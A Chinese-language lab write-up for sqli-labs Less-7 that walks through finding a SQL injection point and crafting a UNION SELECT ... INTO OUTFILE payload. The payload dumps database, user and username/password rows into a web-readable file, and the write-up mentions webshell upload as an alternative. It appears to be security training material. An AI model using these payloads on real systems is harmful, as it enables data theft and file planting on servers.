Ⅰ 验证是否注入点
从下面的注入测试来看,只有两种输出结果
如果sql执行了,就会输出“You are in… Use outfile…”,反之输入“You have an error in your SQL syntax”
?id=1 --+ --You are in.... Use outfile......
?id=1' --+ -- You have an error in your SQL syntax
?id=-1' --+ --You have an error in your SQL syntax
?id=1\ --+ --You are in.... Use outfile......
查看是否存在双引号注入
正常输出,说明有执行,存在双引号注入
?id=1" --+ -- You are in.... Use outfile......
查看是否存在闭合特殊符号
?id=1' and 1=1--+ -- 报错,sql没有执行,存在闭合
?id=1') and 1=1--+ --报错,还有一个闭合
?id=1')) and 1=1--+ -- 正常输出
推测注入点:双引号+两个闭合
看一下源码,确定是是双引号+单引号注入
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
构建个playload
?id=1')) --+
Ⅱ 爆出列数和回显位
常规注入,显示出列数和回显位
Ⅲ 注入开始
根据提示,“You are in… Use outfile…”,可以使用文件上传漏洞,进行注入
注:也有用 一句话木马进行注入 ,在这里直接利用outfile,上传文件
(1)环境配置
首先在进行文件上传漏洞注入前,先确定下自己的靶场环境,之前是使用线上的sqli-labs靶场,但是到了第七关就不好用了,因为我不知道线上靶场的web目录放在哪里,不好搞。
所以用phpStudy+sqli-labs+linux,搭建了一个靶场,进行练习
正常情况下,phpStudy配置好,就可以运行sqli-labs
但mysql注入的文件上传,需要有权限,需要在phpStudy上,对mysql进行设置,添加一个“secure-file-priv = ”,添加好了,就重启mysql
(2)注入格式
根据前面得出的可注入点,进行编写注入playload
index.php?id=-1')) union select 1,2,(XXXsql语句)
into outfile '/www/admin/localhost_80/wwwroot/sqli-labs/Less-7/4.txt' --+
- XXXSQL语句:用之前的常规sql注入语句替换即可
- outfile:后面接的是,注入页面的文件路径,以及输入的文件名
举个例子:爆数据
index.php?id=-1'))
union select
database(),
user(),
(select concat_ws('~',id,username,password)
from security.users limit 0,1)
into outfile '/www/admin/localhost_80/wwwroot/sqli-labs/Less-7/4.txt' --+
版权归原作者 Lucky小小吴 所有, 如有侵权,请联系我们删除。